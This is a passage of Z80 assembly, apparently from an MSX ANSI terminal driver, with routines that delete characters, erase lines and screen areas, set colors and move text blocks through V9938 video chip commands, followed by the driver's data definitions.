POP BC ; Restore Number of chars to insert
; Number of chars to erase (where characters will be inserted) is in C, ErChar will do the rest and return
JP V9938_ErChar0
; Observing Windows 10 terminal behavior as well as XTERM, Del Char only deletes characters in the same line
; Lines below are left untouched even if # of chars to delete surpass the # of chars in the line, and it does
; not shift lines below up.
V9938_DelChr:
LD C,A ; Number of characters to delete in C
LD A,(CursorCol) ;
LD B,A ; Cursor column in B
ADD A,C ; Lets Check if cursor pos + deleted characters equals or exceed a line limit
CP 79 ; So, if 78 (79 columns) or less, will carry
JP NC,V9938_ErLin0 ; If no carry, no need to move blocks, we can just use a line deletion that will be way faster
; If here cursor pos + deleted characters less than a line, so we need to do the following:
; - Calculate the size of the block to move (End of screen - (Cursor Position + Deleted Chars))
; - Move the block
; - Erase # of Deleted Chars after the end of the block
LD A,80
SUB A,B ; Ok, how many characters do we have including the one in cursor?
SUB A,C ; And this is how many characters we need to copy to cursor position
INC A ;
PUSH AF ; Save this, we will use it later to delete characters by fake positioning cursor @ cursor pos + moved characters +1 and deleting from there to the end of line :)
LD B,A ; B contains character width of block being moved
ADD A,A
ADD A,B ; Multiply it by 3, number of "double pixels" (6 pixel width, 3 double pixels width)
ADD A,A ; And now double it to adjust lsb not considered
LD (HMMM_CMD_NXL),A ; Store as NX lower byte
LD A,0x00 ; Probably will be 0 NX higher byte
LD (HMMM_CMD_ARG),A ; Take this chance to load CMD ARG we need for this operation (00)
JR NC,V9938_DelChr_NXH ; But if carry, means it is 1
INC A ; If carry, NXh is 1
V9938_DelChr_NXH:
LD (HMMM_CMD_NXH),A ; Store it
LD A,0x08
LD (HMMM_CMD_NYL),A
; No need to change NYH, always 0
LD A,(CursorCol)
LD B,A
ADD A,A
ADD A,B ; Just adjust to count of "double pixels", HMMM function will handle DXH and shifting it
LD D,A ; Save A in D
ADD 0x08 ; Add 8 to X (A) - Border of 16 pixels
ADD A,A ; Multiply by 2
LD (HMMM_CMD_DXL),A ; Destination is current cursor position
LD A,0x00 ; XH could be 0
JR NC,V9938_DelChr_DXH ; If no carry, it is 0
INC A ; Otherwise it is 1
V9938_DelChr_DXH:
LD (HMMM_CMD_DXH),A ; Save XH
LD A,C ; Now source is what is in D + 3 times what is in C
ADD A,A
ADD A,C ; A contains 3xdeleted characters
ADD A,D ; + cursor position, this is the position of source X :D
ADD 0x08 ; Add 8 to X (A) - Border of 16 pixels
ADD A,A ; Multiply by 2
LD (HMMM_CMD_SXL),A ; Source is current cursor position + deleted characters
LD A,0x00 ; XH could be 0
JR NC,V9938_DelChr_SXH ; If no carry, it is 0
INC A ; Otherwise it is 1
V9938_DelChr_SXH:
LD (HMMM_CMD_SXH),A ; Save XH
LD A,(CursorRow) ; Current cursor line
ADD A,A
ADD A,A
ADD A,A ; Multiply it by 8, it is the first line of that character line (8 pixels high character)
LD B,A ; Copy Y to B
LD A,(VDP_23) ; Get current vertical offset
ADD A,B ; Add our Y to it
LD (HMMM_CMD_DYL),A ; This is the Y destination
LD (HMMM_CMD_SYL),A ; As well as the Y source
CALL DO_HMMM ; All set, let's move
POP BC ; What we need to Add to Cursor is restored in B
LD A,(CursorCol) ; Current Cursor Column
ADD A,B ; Our fake cursor position
JP V9938_ErLin0_1 ; Erase Line, but using what is in A, our fake cursor position, and return to processing after done
V9938_DelChr_SL: LD HL,(EndAddress)
JP PrintText_RLP
V9938_ErDis0:
CALL V9938_ErDis0Sub
LD HL,(EndAddress)
JP PrintText_RLP
V9938_ErDis0Sub:
LD A,(CursorCol)
LD B,A
ADD A,A
ADD A,B
LD (HMMV_CMD_DXL),A ; DX = Number of column * 3 (this mode has doubled pixels in X axis)
LD B,A
LD A,240 ; We draw up to 240 double-pixels (6 pixels wide characters * 80 columns)
SUB A,B ; Except the pixels data up to the cursor position
ADD A,A ; And now double it
LD (HMMV_CMD_NXL),A ; Store as NX lower byte
LD A,0x00 ; Probably will be 0 NX higher byte
JR NC,V9938_ErDis0_NXH ; But if carry, means it is 1
INC A ; If carry, NXh is 1
V9938_ErDis0_NXH:
LD (HMMV_CMD_NXH),A ; Store it
LD A,(CursorRow) ; Now get the row / line
ADD A,A ; 8 pixels height each character, multiply it per 8
ADD A,A
ADD A,A
LD (HMMV_CMD_DYL),A ; This is the Y axys start
LD A,0x08
LD (HMMV_CMD_NYL),A ; To clear a single line it is 8 pixels height number of dots height
XOR A
LD (HMMV_CMD_DYH),A ; DYH 0
LD (HMMV_CMD_NYH),A ; NYH 0
LD A,(BackColor)
ADD A,A
ADD A,A
ADD A,A
ADD A,A
LD B,A
LD A,(BackColor)
OR B ; Adjust color in the right format
LD (HMMV_CMD_CLR),A ; Color to paint the rectangle
CALL DO_HMMV ; Aaaand.... Clear!
; Now, do we need to clear below cursor?
LD A,(CursorRow) ; Let's see how many pixels we need to fill
LD B,A ; Now get the row / line in B
LD A,24 ; Up to 25 lines, 0 is first, 24 is the 25th line
SUB A,B ; Let's check how many extra lines need to be cleared
JR Z,V9938_ErDis0_SL ; If last line, done
; Not last, so multiply it per 8
ADD A,A
ADD A,A
ADD A,A
LD (HMMV_CMD_NYL),A ; To clear remaining lines it is 8 pixels height multiplied by number of lines
XOR A
LD (HMMV_CMD_NYH),A ; NYH and DXL 0
LD (HMMV_CMD_DXL),A
LD (HMMV_CMD_DYH),A ; DYH 0
LD A,0xE0 ; We draw 240 double-pixels (6 pixels wide characters * 80 columns), 480 pixels, 0x01E0
LD (HMMV_CMD_NXL),A ; Store as NX lower byte
LD A,1
LD (HMMV_CMD_NXH),A ; Store NX higher byte
LD A,(CursorRow) ; Now get the row / line
INC A ; Next line
ADD A,A ; 8 pixels height each character, multiply it per 8
ADD A,A
ADD A,A
LD (HMMV_CMD_DYL),A ; This is the Y axys start
CALL DO_HMMV ; Aaaand.... Clear!
V9938_ErDis0_SL: LD HL,(EndAddress)
JP PrintText_RLP
V9938_ErDis1:
XOR A
LD (HMMV_CMD_DXL),A ; DX = Beginning of line, 0
LD (HMMV_CMD_DXH),A ; DX = Beginning of line, 0
LD A,(CursorCol)
LD B,A
ADD A,A
ADD A,B ; Column * 6 = X coordinate of current cursor position
ADD A,A ; And now double it
LD (HMMV_CMD_NXL),A ; Store as NX lower byte
LD A,0x00 ; Probably will be 0 NX higher byte
JR NC,V9938_ErDis1_NXH ; But if carry, means it is 1
INC A ; If carry, NXh is 1
V9938_ErDis1_NXH:
LD (HMMV_CMD_NXH),A ; Store it
LD A,(CursorRow) ; Now get the row / line
ADD A,A ; 8 pixels height each character, multiply it per 8
ADD A,A
ADD A,A
LD (HMMV_CMD_DYL),A ; This is the Y axys start
LD A,0x08
LD (HMMV_CMD_NYL),A ; To clear a single line it is 8 pixels height number of dots height
XOR A
LD (HMMV_CMD_DYH),A ; DYH and NYH 0
LD (HMMV_CMD_NYH),A
LD A,(BackColor)
ADD A,A
ADD A,A
ADD A,A
ADD A,A
LD B,A
LD A,(BackColor)
OR B ; Adjust color in the right format
LD (HMMV_CMD_CLR),A ; Color to paint the rectangle
CALL DO_HMMV ; Aaaand.... Clear!
; Now, do we need to clear above cursor?
LD A,(CursorRow) ; Let's see how many pixels we need to fill
OR A ; First row/line?
JR Z,V9938_ErDis1_SL ; If first line, done
; Not first, so multiply it per 8
LD A,A
LD A,A
LD (HMMV_CMD_NYL),A ; To clear remaining lines it is 8 pixels height multiplied by number of lines - 1 (which is cursor row)
XOR A
LD (HMMV_CMD_DYH),A ; DYH, DYL, DXL ,DXH and and NYH 0
LD (HMMV_CMD_DYL),A
LD (HMMV_CMD_NYH),A
LD (HMMV_CMD_DXL),A
LD (HMMV_CMD_DXH),A
LD A,0xE0 ; We draw 240 double-pixels (6 pixels wide characters * 80 columns), 480 pixels, 0x01E0
LD (HMMV_CMD_NXL),A ; Store as NX lower byte
LD A,1
LD (HMMV_CMD_NXH),A ; Store NX higher byte
CALL DO_HMMV ; Aaaand.... Clear!
V9938_ErDis1_SL: LD HL,(EndAddress)
JP PrintText_RLP
V9938_ErChar0:
LD A,(CursorCol) ; Will start from current column
LD B,A
ADD A,A
ADD A,B ; A has column * 3
LD (HMMV_CMD_DXL),A ; Store in the destination X
LD A,C ; Characters to delete in C
ADD A,A
ADD A,C
ADD A,A ; And now double it, chars * 6
LD (HMMV_CMD_NXL),A ; This is the number of pixels to erase
LD A,0x00 ; High byte could be 0
JR NC,V9938_ErChar0_NXH ; If did not carry, it is
INC A ; Otherwise it is 1
V9938_ErChar0_NXH:
LD (HMMV_CMD_NXH),A ; High Byte number of pixels to erase
LD A,(CursorRow) ; Now calculate destination Y
ADD A,A
ADD A,A
ADD A,A
LD (HMMV_CMD_DYL),A ; Row * 8 is the Y position
LD A,0x08
LD (HMMV_CMD_NYL),A ; And delete 8 pixels in Y direction, one line
XOR A
LD (HMMV_CMD_DYH),A
LD (HMMV_CMD_NYH),A ; Those two are 0
LD A,(BackColor)
ADD A,A
ADD A,A
ADD A,A
ADD A,A
LD B,A
LD A,(BackColor)
OR B ; Adjust color in the right format
LD (HMMV_CMD_CLR),A ; Color to paint the rectangle
CALL DO_HMMV ; And erase this
LD HL,(EndAddress)
JP PrintText_RLP
V9938_ErLin0:
LD A,(CursorCol) ; Will start from current column
V9938_ErLin0_1:
LD B,A ; Cursor column in B
ADD A,A
ADD A,B ; A has column * 3
LD (HMMV_CMD_DXL),A ; Store in the destination X
LD B,A ; Save it in B (this is a value in double pixels)
LD A,240 ; 240 double pixels is a line width (80x6)
SUB A,B ; Subtract the total width from the current width
ADD A,A ; Now this information is need in real pixels, so double it
LD (HMMV_CMD_NXL),A ; And this the X axys lenght of the command
LD A,0x00 ; High Byte could be 0
JR NC,V9938_ErLin0_NXH ; And it is zero if no carry
INC A ; Ok, carry, so it is 1
V9938_ErLin0_NXH:
LD (HMMV_CMD_NXH),A ; High Byte of X axys lenght
LD A,(CursorRow) ; Now get the current line
ADD A,A
ADD A,A
ADD A,A ; Multiply per 8 as each line is 8 pixelslarge
LD (HMMV_CMD_DYL),A ; This is the destination Y
LD A,0x08
LD (HMMV_CMD_NYL),A ; a line is 8 pixes, so this the Y axys lenght of the command
XOR A
LD (HMMV_CMD_DYH),A
LD (HMMV_CMD_NYH),A ; both are 0
LD A,(BackColor)
ADD A,A
ADD A,A
ADD A,A
ADD A,A
LD B,A
LD A,(BackColor)
OR B ; Adjust color in the right format
LD (HMMV_CMD_CLR),A ; Color to paint the rectangle
CALL DO_HMMV ; and perform the HMMV command to delete it
LD HL,(EndAddress)
JP PrintText_RLP
V9938_ErLin1:
XOR A
LD (HMMV_CMD_DXL),A
LD (HMMV_CMD_DXH),A
LD A,(CursorCol)
LD B,A
ADD A,A
ADD A,B
LD C,0
ADD A,A
JR NC,V9938_ErLin1_CNT
INC C
V9938_ErLin1_CNT: LD (HMMV_CMD_NXL),A
LD A,C
JP V9938_ErLin0_NXH
V9938_ErLin2:
LD A,(CursorRow) ; Clear Entire Line
LD B,0 ; Background color
CALL V9938_ClearLine
XOR A
LD (CursorCol),A
CALL V9938_SetCursorX
LD HL,(EndAddress)
JP PrintText_RLP
V9938_SetColors:
LD A,(HiLighted) ; Let's check if HiLighted
OR A
LD A,(ForeColor) ; And get the foreground color
JR Z,V9938_SetColors_NHA ; If not HiLighted, move on
ADD 0x08 ; Otherwise, different color, add 8 to get colors 9 to 16 of our pallete
V9938_SetColors_NHA: LD B,A ; Ok, palete color index in B
ADD A,A
ADD A,A
ADD A,A
ADD A,A ; Multiply by 16 -> Shift left 4 times -> Value in MSB
OR B ; And value now in LSB as well, colors are pairs for G6
LD (FontColor),A ; And this is our font color (Fore / Fore)
LD A,(BackColor) ; Do the same to background color
ADD A,A
ADD A,A
ADD A,A
ADD A,A ; Multiply by 16 -> Shift left 4 times -> Value in MSB
LD B,A ; B has background color in MSB and 0 in LSB
LD A,(BackColor) ; A has background color in LSB
OR B ; And value now in LSB as well, colors are pairs for G6
LD (ColorTable+00),A ; ColorTable 0 -> Background and BackGround
LD A,(FontColor)
AND 0x0F ; Foreground color on LSB
OR B ; Background color on MSB
LD (ColorTable+01),A ; Color table 1 ->Background and Foreground
LD A,(FontColor)
AND 0xF0 ; Foreground color on MSB
LD B,A ; Move it to B
LD A,(BackColor) ; Background color on LSC
OR B
LD (ColorTable+02),A ; Color table 2 -> Foreground and Background
LD A,(FontColor)
LD (ColorTable+03),A ; Color table 3 -> Foreground and Foreground
;OPJ - Sprite Cursor added
JP V9938_CursorColor
V9938_CopyBlockYUp:
;
; A <- HowManyRows
; B <- DestinationRow
; C <- SourceRow
;
ADD A,A
ADD A,A
ADD A,A
LD (YMMM_CMD_NYL),A ; Will copy a rectangle with A*8 pixels on the Y axis
LD D,A ; Save NYL in D
DEC D ; Adjust for our math
LD A,C ; Get Source Row
ADD A,A
ADD A,A
ADD A,A
LD HL,(VDP_23) ; Get current vertical offset
ADD A,L ; Add it
ADD A,D ; And add how many lines, as we are going from bottom to top, start at the last line
LD (YMMM_CMD_SYL),A ; Source Y coordinate
LD H,A ; Save SYL in H
LD A,B
ADD A,A
ADD A,A
ADD A,A
ADD A,L ; Add current vertical offset to it
ADD A,D ; And add how many lines, as we are going from bottom to top, start at the last line
LD (YMMM_CMD_DYL),A ; To
; There are two possible splits here:
; 1st - SY - NY carry.... Then we have to split in two operations with different SY, DY and NY
; 1st operation will be: SY and DY as is with NY being the NY - remainder after carry
; 2nd operation will be: SY as 0, DY as DY - 1st NY and NY being the remainder after carry
;
; 2nd - DY - NY carry.... Then we have to split in two operations with different SY, DY and NY
; 1st operation will be: SY and DY as is with NY being the NY - remainder after carry
; 2nd operation will be: DY as 0, SY as SY - 1st NY and NY being the remainder after carry
; Need to test the 1s hypothesis
LD A,H ; Source Y coordinate in A
SUB A,D ; SY - NY
JR C,V9938_CopyBlockYUp_DO1; If Carry, this is split case 1,do it
LD A,(YMMM_CMD_DYL) ; DY
SUB A,D ; NY - DY
JR C,V9938_CopyBlockYUp_DO2 ; If Carry, this is split case 2,do it
; Otherwise, it is a single operation so...
LD A,8
LD (YMMM_CMD_ARG),A ; Direction is Up
LD (YMMM_CMD_DXL),A ; And this is our X starting source point as well
JP DO_YMMM ; Do the single operation and YMMM will return for us
V9938_CopyBlockYUp_DO1:
; Here we are, source - number of lines will overflow
; Whatever is in A now is how much SY we need to do the second time
LD B,A ; Save this in B for now
LD A,D ; NYL in A
SUB A,B ; This is our first NYL
LD (YMMM_CMD_NYL),A ; First rectangle of split operation
LD A,B ; Restore the overflow # of lines
LD (YMMM_CMD_NYL2),A ; Second rectangle of split operation
LD A,8 ; Direction is Up
LD (YMMM_CMD_ARG),A
LD (YMMM_CMD_DXL),A ; And this is our X starting source point as well
CALL DO_YMMM ; Do the first operation
XOR A
LD (YMMM_CMD_SYL),A ; Second round Source
LD A,(YMMM_CMD_NYL) ; of lines of 1st operation in A
LD B,A ; Save it in B
LD A,(YMMM_CMD_DYL) ; line of 1st operation destination
SUB A,B ; Subtract first SYL to it
LD (YMMM_CMD_DYL),A ; line of 2nd operation destination
LD A,(YMMM_CMD_NYL2) ; Second rectangle of split operation in A
OR A ; Check if zero
RET Z ; If it is, dones
LD (YMMM_CMD_NYL),A ; Save it for next YMMM, so it will be done with DY as 0, SY added w/ # of lines already copied and NYL with the remaining lines to copy
JP DO_YMMM ; Do the second operation and then done, so return from there
V9938_CopyBlockYUp_DO2:
; Here we are, destination - number of lines will overflow
; Whatever is in A now is how much NY we need to do the second time
LD B,A ; Save this in B for now
LD A,D ; NYL in A
SUB A,B ; This is our first NYL
LD (YMMM_CMD_NYL),A ; First rectangle of split operation
LD A,B ; Restore the overflow # of lines
LD (YMMM_CMD_NYL2),A ; Second rectangle of split operation
LD A,8 ; Direction is Up
LD (YMMM_CMD_ARG),A
LD (YMMM_CMD_DXL),A ; And this is our X starting source point as well
CALL DO_YMMM ; Do the first operation
XOR A
LD (YMMM_CMD_DYL),A ; Second round To
LD A,(YMMM_CMD_NYL) ; of lines of 1st operation in A
LD B,A ; Save it in B
LD A,(YMMM_CMD_SYL) ; of starting source lines of 1st operation in A
SUB A,B ; Subtract both
LD (YMMM_CMD_SYL),A ; of starting source lines of 2nd operation
LD A,(YMMM_CMD_NYL2) ; Second rectangle of split operation in A
OR A ; Check if zero
RET Z ; If it is, dones
LD (YMMM_CMD_NYL),A ; Save it for next YMMM, so it will be done with DY as 0, SY added w/ # of lines already copied and NYL with the remaining lines to copy
JP DO_YMMM ; Do the second operation and then done, so return from there
V9938_CopyBlockYDown:
;
; A <- HowManyRows
; B <- SourceRow
; C <- DestinationRow
;
ADD A,A
ADD A,A
ADD A,A
LD (YMMM_CMD_NYL),A ; Will copy a rectangle with A*8 pixels on the Y axis
LD D,A ; Save NYL in D
LD A,B
ADD A,A
ADD A,A
ADD A,A
LD HL,(VDP_23) ; Get current vertical offset
ADD A,L ; Add it
LD (YMMM_CMD_SYL),A ; Source Y coordinate
LD E,A ; Save SYL in E
LD A,C
ADD A,A
ADD A,A
ADD A,A
ADD A,L ; Add current vertical offset to it
LD (YMMM_CMD_DYL),A ; To
; There are two possible splits here:
; 1st - SY + NY carry.... Then we have to split in two operations with different SY, DY and NY
; 1st operation will be: SY and DY as is with NY being the NY - remainder after carry
; 2nd operation will be: SY as 0, DY as DY + 1st NY and NY being the remainder after carry
;
; 2nd - DY + NY carry.... Then we have to split in two operations with different SY, DY and NY
; 1st operation will be: SY and DY as is with NY being the NY - remainder after carry
; 2nd operation will be: DY as 0, SY as SY + 1st NY and NY being the remainder after carry
; Need to test the 1s hypothesis
LD A,E ; Source Y coordinate in A
ADD A,D ; SY + NY
JR C,V9938_CopyBlockYDown_DO1 ; If Carry, this is split case 1,do it
LD A,(YMMM_CMD_DYL) ; DY
ADD A,D ; NY + DY
JR C,V9938_CopyBlockYDown_DO2 ; If Carry, this is split case 2,do it
; Otherwise, it is a single operation so...
XOR A
LD (YMMM_CMD_ARG),A ; Direction is down
LD A,8 ; Skip the first 16 pixels as those do not matter (our border)
LD (YMMM_CMD_DXL),A ; And this is our X starting source point
JP DO_YMMM ; Do the single operation and YMMM will return for us
V9938_CopyBlockYDown_DO1:
; Here we are, source + number of lines will overflow
; Whatever is in A now is how much SY we need to do the second time
LD B,A ; Save this in B for now
LD A,D ; NYL in A
SUB A,B ; This is our first NYL
LD (YMMM_CMD_NYL),A ; First rectangle of split operation
LD A,B ; Restore the overflow # of lines
LD (YMMM_CMD_NYL2),A ; Second rectangle of split operation
XOR A
LD (YMMM_CMD_ARG),A ; Direction is down
LD A,8 ; Skip the first 16 pixels as those do not matter (our border)
LD (YMMM_CMD_DXL),A ; And this is our X starting source point
CALL DO_YMMM ; Do the first operation
XOR A
LD (YMMM_CMD_SYL),A ; Second round Source
LD A,(YMMM_CMD_NYL) ; of lines of 1st operation in A
LD B,A ; Save it in B
LD A,(YMMM_CMD_DYL) ; line of 1st operation destination
ADD A,B ; Add first SYL to it
LD (YMMM_CMD_DYL),A ; line of 2nd operation destination
LD A,(YMMM_CMD_NYL2) ; Second rectangle of split operation in A
OR A ; Check if zero
RET Z ; If it is, dones
LD (YMMM_CMD_NYL),A ; Save it for next YMMM, so it will be done with DY as 0, SY added w/ # of lines already copied and NYL with the remaining lines to copy
JP DO_YMMM ; Do the second operation and then done, so return from there
V9938_CopyBlockYDown_DO2:
; Here we are, destination + number of lines will overflow
; Whatever is in A now is how much NY we need to do the second time
LD B,A ; Save this in B for now
LD A,D ; NYL in A
SUB A,B ; This is our first NYL
LD (YMMM_CMD_NYL),A ; First rectangle of split operation
LD A,B ; Restore the overflow # of lines
LD (YMMM_CMD_NYL2),A ; Second rectangle of split operation
XOR A
LD (YMMM_CMD_ARG),A ; Direction is down
LD A,8 ; Skip the first 16 pixels as those do not matter (our border)
LD (YMMM_CMD_DXL),A ; And this is our X starting source point
CALL DO_YMMM ; Do the first operation
XOR A
LD (YMMM_CMD_DYL),A ; Second round To
LD A,(YMMM_CMD_NYL) ; of lines of 1st operation in A
LD B,A ; Save it in B
LD A,(YMMM_CMD_SYL) ; of starting source lines of 1st operation in A
ADD A,B ; Add both
LD (YMMM_CMD_SYL),A ; of starting source lines of 2nd operation
LD A,(YMMM_CMD_NYL2) ; Second rectangle of split operation in A
OR A ; Check if zero
RET Z ; If it is, dones
LD (YMMM_CMD_NYL),A ; Save it for next YMMM, so it will be done with DY as 0, SY added w/ # of lines already copied and NYL with the remaining lines to copy
JP DO_YMMM ; Do the second operation and then done, so return from there
V9938_WaitCmd:
LD A,0x02
DI
OUT (0x99),A
LD A,0x80+15
OUT (0x99),A
IN A,(0x99)
RRA
LD A,0x00
OUT (0x99),A
LD A,0x80+15
EI
OUT (0x99),A
RET NC
JP V9938_WaitCmd
DO_HMMC_FLUSH:
EXX ; Do not want to mess with registers, so let's use the shadow registers
LD A,(HMMC_BUF) ; And A has the result of the first two pixels
LD (HMMC_CMD_CLR),A ; Move it to HMMC color pair (the first two pixels of HMMC operation)
LD A,(HMMC_BUF_COUNT) ; This is how many bytes there are in each X row this buffer, up to 30
LD E,A ; leave it in E to restore in the loop
ADD A,A
LD (HMMC_CMD_NXL),A ; And lenght is basically this number * 2
LD A,30 ; a line is up to 30 byte long
SUB A,E ; we decrease how many bytes we are going to send per line in fact
LD (HMMC_CMD_JMP),A ; this is our jump vector every loop finished
LD D,8 ; We need to send 8 lines, D will be our line counter
LD HL,HMMC_CMD ; The HMMC buffer
LD C,0x9B ; port to send HMMC data
DI
LD A,0x24 ; Register 36 as value for...
OUT (0x99),A
LD A,0x91 ; Register 17 (indirect register access auto increment)
OUT (0x99),A
EI
CALL V9938_WaitCmd ; Wait if any command is pending
OUTI ; And now send the buffer
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
DI
LD A,0xAC
OUT (0x99),A
LD A,0x91
OUT (0x99),A ; Write to register 17 disabling auto incrementing and pointing to 44 (color register), next pixels are sent through R44
EI
; This did the trick for the first two pixels, need to follow through the end
LD HL,HMMC_BUF+1 ; Get the start + 1, after the two pixels sent in DOHMMC
LD B,E ; Restore Buf Count * 3 in B
DEC B ; but the first one has already been sent, so start the loop with one less
JP DO_HMMC_FLUSH_LOOP1ST ; First one is just two outi
DO_HMMC_FLUSH_LOOP:
OUTI ; Send line data
DO_HMMC_FLUSH_LOOP1ST:
OUTI ; Send line data
OUTI ; Send line data
JP NZ,DO_HMMC_FLUSH_LOOP ; If not done send three more
DEC D ; Decrement our line counter
JP Z,DO_HMMC_FLUSH_DONE ; if finished, terminate
LD B,E ; Restore B for next OUTI
LD A,(HMMC_CMD_JMP) ; How much we need to jump
ADD A,L ; Add
LD L,A ; Put in L
JP NC,DO_HMMC_FLUSH_LOOP ; If no carry done
INC H ; If carry, increment H
JP DO_HMMC_FLUSH_LOOP ; Back to loop
DO_HMMC_FLUSH_DONE:
XOR A
LD (HMMC_BUF_COUNT),A ; all has ben sent
LD (HMMC_CMD_NXL),A ; And lenght is now 0
EXX ; Restore the local registers
RET
DO_HMMV:
CALL V9938_WaitCmd ; Wait if any command is pending
DI
LD A,0x24 ; Register 36 as value for...
OUT (0x99),A
LD A,0x91 ; Register 17 (indirect register access auto increment)
OUT (0x99),A
LD HL,HMMV_CMD ; The HMMV buffer
LD C,0x9B ; And port for indirect access
LD A,(HL) ; LD DXL in A
INC HL
INC HL ; HL pointing to DYL
ADD 0x08 ; Add 8 to DXL (A) - Border of 16 pixels
ADD A,A ; Multiply by 2
OUT (C),A ; And send DXL to 36
LD A,0x00 ; DXH could be 0
JR NC,DO_HMMV_DXH ; If no carry, it is 0
INC A ; Otherwise it is 1
DO_HMMV_DXH: OUT (C),A ; And send DXH to 37
LD A,(HL) ; Load DYL in A
INC HL
INC HL ; HL pointing @ NXL
LD B,A ; Copy DYL to B
LD A,(VDP_23) ; Get current vertical offset
ADD A,B ; Add our DYL to it
OUT (C),A ; Send it to 38
LD B,A ; Copy adjusted DYL to B
LD A,(HMMV_CMD_NYL) ; NYL
ADD A,B ; Ok, now let's check if there is an overflow
LD (HMMV_CMD_NYL2),A ; Save just in case it is a split operation :D
JR NC,DO_HMMV_ONESTEP ; If not carry, last line is within the page constraints so it is a single step
JR Z,DO_HMMV_ONESTEP ; If zero, no second step
LD B,A ; This is the remainder
LD A,(HMMV_CMD_NYL) ; NYL
SUB A,B ; First step lenght
LD (HMMV_CMD_NYL),A ; New NYL
;Now finish first step here, and follow-up with a second step
XOR A ; DYH always 0
OUT (C),A ; Send it
OUTI ; And now send the rest of buffer
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
EI
;Ok, so now for the second step
LD A,(HMMV_CMD_NYL) ; NYL has the number of lines deleted so far
LD B,A ; Save in B
LD A,(HMMV_CMD_DYL) ; Get the initial line
ADD A,B ; Add the lines deleted
LD (HMMV_CMD_DYL),A ; New DYL, from line picking up from where NYL left
LD A,(HMMV_CMD_NYL2) ; The remaining lenght at Y
LD (HMMV_CMD_NYL),A ; Now at NYL
JP DO_HMMV ; And go execute the second step :)
DO_HMMV_ONESTEP:
XOR A ; DYH always 0
OUT (C),A ; Send it
OUTI ; And now send the rest of buffer
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
EI
RET
; This function is safe for a single line only, if spanning over more than one line, it might potentially miss data
DO_HMMM:
DI
LD A,0x20 ; Register 32 as value for...
OUT (0x99),A
LD A,0x91 ; Register 17 (indirect register access auto increment)
OUT (0x99),A
EI
LD HL,HMMM_CMD ; The HMMC buffer
LD C,0x9B ; And port for indirect access
CALL V9938_WaitCmd ; Wait if any command is pending
OUTI ; And now send the buffer
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
RET
DO_YMMM:
DI
LD A,0x22 ; Register 34 as value for...
OUT (0x99),A
LD A,0x91 ; Register 17 (indirect register access auto increment)
OUT (0x99),A
EI
LD HL,YMMM_CMD ; The YMMM buffer
LD C,0x9B ; And port for indirect access
CALL V9938_WaitCmd ; Wait if any command is pending
OUTI ; And now send the buffer
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
OUTI
RET
;
; DATA Portion
;
; This is where our data is defined
;
OrgAddress: dw 0x0000
EndAddress: dw 0x0000
SavedCol: db 0x00
SavedRow: db 0x00
CursorCol: db 0x00
CursorRow: db 0x00
CursorOn: db 0x00
BackColor: db 0x00
BorderColor:db 0x00
ClearColor: db 0x00
ForeColor: db 0x07
FontColor: db 0x07
HiLighted: db 0x00
Reversed: db 0x00
Concealed: db 0x00
LastChar: db 0x65
Buffering: db 0x00
FlushVar: db 0x00
ANSI_M: db 0x00 ; If ESC was the previous character will hold ESC, if processing ESC command, will hold [, otherwise 00
ANSI_P: dw ANSI_S ; Point the next free position in buffer
ANSI_S: ds 0x10 ; Buffer to hold the ANSI command or data received to print
ANSI_CB: db 0x00 ; Wheter we have a callback for cursor position requests or not
Parameters_PST: db "0123456789ABCDEF0123456789ABCDEF"
Parameters_TRM: db 0x00
Parameters_PCT: db 0x00
Parameters_PPT: dw Parameters_PRM
Parameters_PRM: db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
ColorTable: db 0x00,0x0F,0xF0,0xFF
SPRITEPOS_X: db 0x00
SPRITEPOS_Y: db 0x00
HMMC_CMD:
HMMC_CMD_DXL: db 0x10
HMMC_CMD_DXH: db 0x00
HMMC_CMD_DYL: db 0x00
HMMC_CMD_DYH: db 0x00
HMMC_CMD_NXL: db 0x06
HMMC_CMD_NXH: db 0x00
HMMC_CMD_NYL: db 0x08
HMMC_CMD_NYH: db 0x00
HMMC_CMD_CLR: db 0x00
HMMC_CMD_ARG: db 0x00
HMMC_CMD_CMD: db 0xF0
HMMC_CMD_JMP: db 00
HMMCCURR_DXL: db 0x10
HMMCCURR_DXH: db 0x00
HMMV_CMD:
HMMV_CMD_DXL: db 0x00
HMMV_CMD_DXH: db 0x00
HMMV_CMD_DYL: db 0x00
HMMV_CMD_DYH: db 0x00
HMMV_CMD_NXL: db 0x00
HMMV_CMD_NXH: db 0x00
HMMV_CMD_NYL: db 0x00
HMMV_CMD_NYH: db 0x00
HMMV_CMD_CLR: db 0x00
HMMV_CMD_ARG: db 0x00
HMMV_CMD_CMD: db 0xC0
HMMV_CMD_NYL2: db 0x00
HMMM_CMD:
HMMM_CMD_SXL: db 0x00
HMMM_CMD_SXH: db 0x00
HMMM_CMD_SYL: db 0x00
HMMM_CMD_SYH: db 0x00
HMMM_CMD_DXL: db 0x00
HMMM_CMD_DXH: db 0x00
HMMM_CMD_DYL: db 0x00
HMMM_CMD_DYH: db 0x00
HMMM_CMD_NXL: db 0x00
HMMM_CMD_NXH: db 0x00
HMMM_CMD_NYL: db 0x00
HMMM_CMD_NYH: db 0x00
HMMM_CMD_CLR: db 0x00 ; HMMM doesn't use it, but it is faster to send 0 here and not stop sending incremental registers, two outs total, vs 3 outs to skip color and write inc on ARG
HMMM_CMD_ARG: db 0x00
HMMM_CMD_CMD: db 0xD0
HMMC_BUF_COUNT: db 0x00 ; How many bytes are stored, can store up to 10 characters, 240 bytes
HMMC_BUF:
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
